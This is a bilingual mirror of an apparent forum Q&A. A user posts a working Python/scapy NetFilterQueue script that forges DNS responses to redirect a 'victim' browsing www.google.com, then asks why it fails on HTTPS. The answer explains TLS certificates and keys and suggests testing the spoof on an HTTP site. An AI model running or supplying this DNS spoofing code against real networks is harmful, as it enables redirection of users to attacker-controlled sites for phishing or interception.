简体   繁体   English

使用 Python 和 NetFilterQueue 进行 DNS 欺骗

[英]DNS Spoofing with Python and NetFilterQueue

I've made a little script in Python to spoof DNS Requests and Responses so I can redirect the victim to a certain website when they search like "wwww.google.com".我用 Python 编写了一个小脚本来欺骗 DNS 请求和响应,这样当受害者搜索“www.google.com”时,我就可以将受害者重定向到某个网站。 At the moment it only works in Python2 since NetFilterQueue in Python3 raises an Attribute error for the set_payload method.目前它只适用于 Python2,因为 Python3 中的 NetFilterQueue 引发了 set_payload 方法的属性错误。

Here's the code:这是代码:


import netfilterqueue
import scapy

from scapy.layers.inet import IP, UDP
from scapy.layers.dns import DNSRR, DNSQR, DNS


def processPacket(packet): # packte is str
    scapy_packet = IP(packet.get_payload()) 

    if scapy_packet.haslayer(DNSRR):
        qname = scapy_packet[DNSQR].qname
        if "www.google.com" in qname.decode("utf-8"):
            print("*** Spoofing target ***")

            # creating response
            response = DNSRR(rrname = qname, rdata = "IP")
            scapy_packet[DNS].an = response
            scapy_packet[DNS].ancount = 1

            del scapy_packet[IP].len
            del scapy_packet[IP].chksum

            del scapy_packet[UDP].len
            del scapy_packet[UDP].chksum


            packet.set_payload(str(scapy_packet)) 

    packet.accept() 
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, processPacket) 
queue.run()

In order to execute this you need to set your iptables correctly to trap packets inside a queue.为了执行此操作,您需要正确设置 iptables 以捕获队列中的数据包。 It actually works, if I target www.google.com and set a specific IP (in the code I left the rdata field as IP, you should place a real address) and I ping www.google.com I will receive the IP that I set in the code as a response BUT when I actually type www.google.com in the search bar (Firefox) the page will not load and it will throw an error.它确实有效,如果我定位 www.google.com 并设置特定 IP(在代码中我将 rdata 字段保留为 IP,您应该放置一个真实地址)并且我 ping www.google.com 我将收到 IP我在代码中设置为响应,但是当我在搜索栏 (Firefox) 中实际键入 www.google.com 时,页面将无法加载并且会引发错误。 I've tried it locally, I've also set an Apache2 server on the machine so I am supposed to see the Apache2 page when I search for www.google.com.我在本地试过了,我还在机器上设置了一个Apache2服务器,所以我应该在搜索www.google.com时看到Apache2页面。

Is this due to the fact that Google uses HTTPS?这是因为 Google 使用 HTTPS 吗? Or it is more like a security configuration on my router?或者它更像是我路由器上的安全配置?

Thank you!谢谢!

Google or facebook or some website is protected by ssl of https Google 或 facebook 或某些网站受 https 的 ssl 保护

So the Main question is所以主要问题是

What Exactly is HTTPS and SSL and... how does it work? HTTPS 和 SSL 究竟是什么,...它是如何工作的?

For instance, You have a little business, and you now have a website call www.yourwebsite.com , but you want your custom feel more safety while he is visiting your website.例如,您有一个小生意,您现在有一个名为www.yourwebsite.com的网站,但您希望您的客户在访问您的网站时感觉更安全。 so you find a certificate authority or (CA) for giving you a certificate and a public key and also a private key(I will explain it later) for your website.所以你会找到一个证书颁发机构或 (CA) 来为你的网站提供证书和公钥以及私钥(我稍后会解释)。

What exactly certificate authority actually doing?证书颁发机构究竟在做什么?

They are a company or organization well, they will confirm that you are the one who own the domain, and not the malicious people and also confirm yourwebsite.com is who you said you are.他们是一家公司或组织,他们会确认您是域名的所有者,而不是恶意的人,并确认 yourwebsite.com 是您所说的人。

And also, after the authentication or validate of who you are?而且,在认证或验证你是谁之后? They will give you a certificate and the public key and private key他们会给你一个证书和公钥和私钥

What is Public key and Private key?什么是公钥和私钥? How can it help for my data safety?它对我的数据安全有何帮助?

www.yourwebsite.com will be the only one who own and decrypt the message and read it with Private Key www.yourwebsite.com将是唯一拥有和解密消息并使用私钥阅读的人

And if I want to have a private communication with www.yourwebsite.com , the broswer will told the website.如果我想与www.yourwebsite.com进行私人通信,浏览器会告诉网站。 I want to have a private communication with you now, and then www.yourwebsite.com will send the certificate and the public key which is the only key will encrypt the message with cryptographic.我现在想与您进行私人通信,然后www.yourwebsite.com将发送证书和公钥,这是唯一的密钥,将使用密码对消息进行加密。 Even if the hacker sniffed my packet, he is not able to read the message inside即使黑客嗅到了我的数据包,他也无法读取里面的信息

EXAMPLE: public key is the only key can lock the box, and private key is the only key can unlock the box which owned by you示例:公钥是唯一可以锁定盒子的钥匙,私钥是唯一可以解锁您拥有的盒子的钥匙

So Why did my DNS spoofing failed?那么为什么我的 DNS 欺骗失败了呢?

After the server send out the certificate and the public key out, your browser will check if it is real www.yourwebsite.com instead of the other website pretend them to be yourwebsite.服务器发出证书和公钥后,您的浏览器将检查它是否是真实的www.yourwebsite.com,而不是其他网站假装它们是您的网站。 If not, the browser will then occur a error or just disconnected, if yes, the browser will then sending the encrypted message out to the server.如果不是,则浏览器将发生错误或只是断开连接,如果是,则浏览器会将加密的消息发送到服务器。

Go try to dnsspoof http://www.ter.com or another http website to see if it is real去尝试 dnsspoof http://www.ter.com或其他 http 网站,看看它是否真实

Is all HTTPS website absolutely safe?所有 HTTPS 网站都绝对安全吗?

NO, https and ssl just only make your packet traffic more secure, it didn't really secure the website, every website with ssl or not , is possible to have bug which the attacker can attack, NO SYSTEM IS SAFE不,https 和 ssl 只是让你的数据包流量更安全,它并没有真正保护网站,每个网站是否有 ssl,都可能存在攻击者可以攻击的漏洞,没有系统是安全的

And Now, Congrats that we all can browsing under the protect of ssl!现在,恭喜我们都可以在 ssl 的保护下浏览了!

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM